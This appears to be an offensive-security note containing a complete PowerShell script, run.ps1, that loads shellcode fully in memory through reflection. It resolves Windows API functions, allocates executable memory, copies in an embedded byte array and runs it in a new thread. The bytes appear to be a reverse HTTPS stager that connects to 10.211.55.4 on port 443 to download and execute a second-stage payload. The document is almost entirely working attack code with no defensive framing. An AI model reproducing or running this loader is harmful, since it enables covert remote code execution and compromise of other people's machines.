PowerShell in memory (reflection)

Fully in memory

run.ps1

function LookupFunc {
    Param ($moduleName, $functionName)

    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].
        Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
    $tmp=@()
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
    return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null,
@($moduleName)), $functionName))
}

function getDelegateType {
    Param (
        [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
        [Parameter(Position = 1)] [Type] $delType = [Void]
    )

    $type = [AppDomain]::CurrentDomain.
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')),
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).
    DefineDynamicModule('InMemoryModule', $false).
    DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass',
    [System.MulticastDelegate])
    $type.
    DefineConstructor('RTSpecialName, HideBySig, Public',
    [System.Reflection.CallingConventions]::Standard, $func).
    SetImplementationFlags('Runtime, Managed')
    $type.
    DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).
    SetImplementationFlags('Runtime, Managed')
    return $type.CreateType()
}

$lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)

[Byte[]] $buf = 0xfc,0xe8,0x8f,0x0,0x0,0x0,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0xc,0x8b,0x52,0x14,0xf,0xb7,0x4a,0x26,0x8b,0x72,0x28,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0xc1,0xcf,0xd,0x1,0xc7,0x49,0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x1,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4c,0x1,0xd0,0x8b,0x58,0x20,0x1,0xd3,0x8b,0x48,0x18,0x50,0x85,0xc9,0x74,0x3c,0x49,0x31,0xff,0x8b,0x34,0x8b,0x1,0xd6,0x31,0xc0,0xc1,0xcf,0xd,0xac,0x1,0xc7,0x38,0xe0,0x75,0xf4,0x3,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe0,0x58,0x8b,0x58,0x24,0x1,0xd3,0x66,0x8b,0xc,0x4b,0x8b,0x58,0x1c,0x1,0xd3,0x8b,0x4,0x8b,0x1,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xe9,0x80,0xff,0xff,0xff,0x5d,0x68,0x6e,0x65,0x74,0x0,0x68,0x77,0x69,0x6e,0x69,0x54,0x68,0x4c,0x77,0x26,0x7,0xff,0xd5,0x31,0xdb,0x53,0x53,0x53,0x53,0x53,0xe8,0x73,0x0,0x0,0x0,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x35,0x2e,0x30,0x20,0x28,0x4d,0x61,0x63,0x69,0x6e,0x74,0x6f,0x73,0x68,0x3b,0x20,0x49,0x6e,0x74,0x65,0x6c,0x20,0x4d,0x61,0x63,0x20,0x4f,0x53,0x20,0x58,0x20,0x31,0x33,0x5f,0x31,0x29,0x20,0x41,0x70,0x70,0x6c,0x65,0x57,0x65,0x62,0x4b,0x69,0x74,0x2f,0x36,0x30,0x35,0x2e,0x31,0x2e,0x31,0x35,0x20,0x28,0x4b,0x48,0x54,0x4d,0x4c,0x2c,0x20,0x6c,0x69,0x6b,0x65,0x20,0x47,0x65,0x63,0x6b,0x6f,0x29,0x20,0x56,0x65,0x72,0x73,0x69,0x6f,0x6e,0x2f,0x31,0x36,0x2e,0x31,0x20,0x53,0x61,0x66,0x61,0x72,0x69,0x2f,0x36,0x30,0x35,0x2e,0x31,0x2e,0x31,0x35,0x0,0x68,0x3a,0x56,0x79,0xa7,0xff,0xd5,0x53,0x53,0x6a,0x3,0x53,0x53,0x68,0xbb,0x1,0x0,0x0,0xe8,0xb0,0x0,0x0,0x0,0x2f,0x31,0x55,0x68,0x44,0x37,0x4e,0x75,0x4b,0x68,0x39,0x5f,0x35,0x56,0x50,0x68,0x56,0x6e,0x51,0x72,0x2d,0x33,0x41,0x77,0x4e,0x72,0x71,0x39,0x58,0x73,0x79,0x55,0x0,0x50,0x68,0x57,0x89,0x9f,0xc6,0xff,0xd5,0x89,0xc6,0x53,0x68,0x0,0x32,0xe8,0x84,0x53,0x53,0x53,0x57,0x53,0x56,0x68,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x96,0x6a,0xa,0x5f,0x68,0x80,0x33,0x0,0x0,0x89,0xe0,0x6a,0x4,0x50,0x6a,0x1f,0x56,0x68,0x75,0x46,0x9e,0x86,0xff,0xd5,0x53,0x53,0x53,0x53,0x56,0x68,0x2d,0x6,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x75,0x14,0x68,0x88,0x13,0x0,0x0,0x68,0x44,0xf0,0x35,0xe0,0xff,0xd5,0x4f,0x75,0xcd,0xe8,0x48,0x0,0x0,0x0,0x6a,0x40,0x68,0x0,0x10,0x0,0x0,0x68,0x0,0x0,0x40,0x0,0x53,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x53,0x89,0xe7,0x57,0x68,0x0,0x20,0x0,0x0,0x53,0x56,0x68,0x12,0x96,0x89,0xe2,0xff,0xd5,0x85,0xc0,0x74,0xcf,0x8b,0x7,0x1,0xc3,0x85,0xc0,0x75,0xe5,0x58,0xc3,0x5f,0xe8,0x6b,0xff,0xff,0xff,0x31,0x30,0x2e,0x32,0x31,0x31,0x2e,0x35,0x35,0x2e,0x34,0x0,0xbb,0xe0,0x1d,0x2a,0xa,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5,0x3c,0x6,0x7c,0xa,0x80,0xfb,0xe0,0x75,0x5,0xbb,0x47,0x13,0x72,0x6f,0x6a,0x0,0x53,0xff,0xd5

[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
$hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr],
[UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)